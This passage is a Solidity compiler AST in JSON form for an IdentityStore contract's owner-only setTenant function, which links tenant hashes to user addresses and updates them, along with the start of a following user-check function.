"id": 208,
"nodeType": "Block",
"src": "2105:1133:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 123,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"id": 118,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2151:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 116,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2170:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 115,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2152:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 117,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2152:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 122,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2187:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 120,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2209:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 119,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2188:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 121,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2188:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2151:70:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 146,
"nodeType": "IfStatement",
"src": "2147:313:0",
"trueBody": {
"id": 145,
"nodeType": "Block",
"src": "2223:237:0",
"statements": [
{
"assignments": [
125
],
"declarations": [
{
"constant": false,
"id": 125,
"name": "newUser",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2250:19:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 124,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "2250:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 131,
"initialValue": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 127,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2277:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 128,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "2290:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
{
"argumentTypes": null,
"id": 129,
"name": "_tenantId",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 110,
"src": "2302:9:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 126,
"name": "User",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 94,
"src": "2272:4:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_struct$_User_$94_storage_ptr_$",
"typeString": "type(struct IdentityStore.User storage pointer)"
}
},
"id": 130,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "structConstructorCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2272:40:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory",
"typeString": "struct IdentityStore.User memory"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2250:62:0"
},
{
"expression": {
"argumentTypes": null,
"id": 136,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 132,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "2326:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 134,
"indexExpression": {
"argumentTypes": null,
"id": 133,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2347:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "2326:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 135,
"name": "newUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 125,
"src": "2363:7:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"src": "2326:44:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 137,
"nodeType": "ExpressionStatement",
"src": "2326:44:0"
},
{
"expression": {
"argumentTypes": null,
"id": 142,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 138,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "2384:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 140,
"indexExpression": {
"argumentTypes": null,
"id": 139,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2402:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": true,
"nodeType": "IndexAccess",
"src": "2384:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"id": 141,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2417:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "2384:45:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 143,
"nodeType": "ExpressionStatement",
"src": "2384:45:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 144,
"nodeType": "Return",
"src": "2443:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 154,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 148,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2521:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 147,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2503:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 149,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2503:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 153,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2538:34:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 151,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2560:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 150,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2539:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 152,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2539:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2503:69:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 170,
"nodeType": "IfStatement",
"src": "2499:254:0",
"trueBody": {
"id": 169,
"nodeType": "Block",
"src": "2574:179:0",
"statements": [
{
"assignments": [
156
],
"declarations": [
{
"constant": false,
"id": 156,
"name": "oldHash",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2601:15:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 155,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "2601:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 161,
"initialValue": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 157,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "2619:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 159,
"indexExpression": {
"argumentTypes": null,
"id": 158,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2640:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "2619:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"id": 160,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantHash",
"nodeType": "MemberAccess",
"referencedDeclaration": 89,
"src": "2619:45:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2601:63:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 163,
"name": "oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 156,
"src": "2689:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 164,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2698:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 165,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "2711:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
],
"id": 162,
"name": "updateHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 320,
"src": "2678:10:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_bytes32_$_t_bytes32_$_t_uint256_$returns$__$",
"typeString": "function (bytes32,bytes32,uint256)"
}
},
"id": 166,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2678:44:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 167,
"nodeType": "ExpressionStatement",
"src": "2678:44:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 168,
"nodeType": "Return",
"src": "2736:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 178,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 172,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2828:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 171,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "2807:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 173,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2807:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"id": 177,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "2844:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 175,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2863:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 174,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2845:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 176,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2845:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2807:69:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 192,
"nodeType": "IfStatement",
"src": "2803:224:0",
"trueBody": {
"id": 191,
"nodeType": "Block",
"src": "2878:149:0",
"statements": [
{
"assignments": [
180
],
"declarations": [
{
"constant": false,
"id": 180,
"name": "oldAddress",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2892:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 179,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2892:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 184,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 181,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "2913:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 183,
"indexExpression": {
"argumentTypes": null,
"id": 182,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2931:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "2913:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2892:51:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 186,
"name": "oldAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 180,
"src": "2971:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"argumentTypes": null,
"id": 187,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2983:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 185,
"name": "updateAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 369,
"src": "2957:13:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_address_$returns$__$",
"typeString": "function (address,address)"
}
},
"id": 188,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2957:39:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 189,
"nodeType": "ExpressionStatement",
"src": "2957:39:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 190,
"nodeType": "Return",
"src": "3010:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 199,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 194,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "3098:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 193,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "3077:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 195,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3077:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 197,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "3132:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 196,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "3114:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 198,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3114:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "3077:68:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 207,
"nodeType": "IfStatement",
"src": "3073:159:0",
"trueBody": {
"id": 206,
"nodeType": "Block",
"src": "3147:85:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 201,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "3177:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 202,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "3190:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
],
"id": 200,
"name": "updateTimestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 388,
"src": "3161:15:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_bytes32_$_t_uint256_$returns$__$",
"typeString": "function (bytes32,uint256)"
}
},
"id": 203,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3161:40:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 204,
"nodeType": "ExpressionStatement",
"src": "3161:40:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 205,
"nodeType": "Return",
"src": "3215:7:0"
}
]
}
}
]
},
"documentation": null,
"id": 209,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 113,
"modifierName": {
"argumentTypes": null,
"id": 112,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "2088:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "2088:9:0"
}
],
"name": "setTenant",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 111,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 104,
"name": "_tenantHash",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "1983:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 103,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1983:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 106,
"name": "_userAddress",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2012:20:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 105,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2012:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 108,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2042:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 107,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "2042:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 110,
"name": "_tenantId",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2070:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 109,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "2070:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1973:114:0"
},
"payable": false,
"returnParameters": {
"id": 114,
"nodeType": "ParameterList",
"parameters": [],
"src": "2105:0:0"
},
"scope": 428,
"src": "1955:1283:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 256,
"nodeType": "Block",
"src": "3376:487:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"id": 223,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "3421:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 221,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 213,
"src": "3440:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 220,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "3422:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 222,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3422:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 227,
"nodeType": "IfStatement",
"src": "3418:74:0",
"trueBody": {
"id": 226,
"nodeType": "Block",
"src": "3455:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 224,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3476:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 225,
"nodeType": "Return",
"src": "3469:12:0"
}
]
}
},
{
"assignments": [
229
],
"declarations": [
{
"constant": false,
"id": 229,
"name": "currentUser",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3502:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 228,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "3502:4:0",
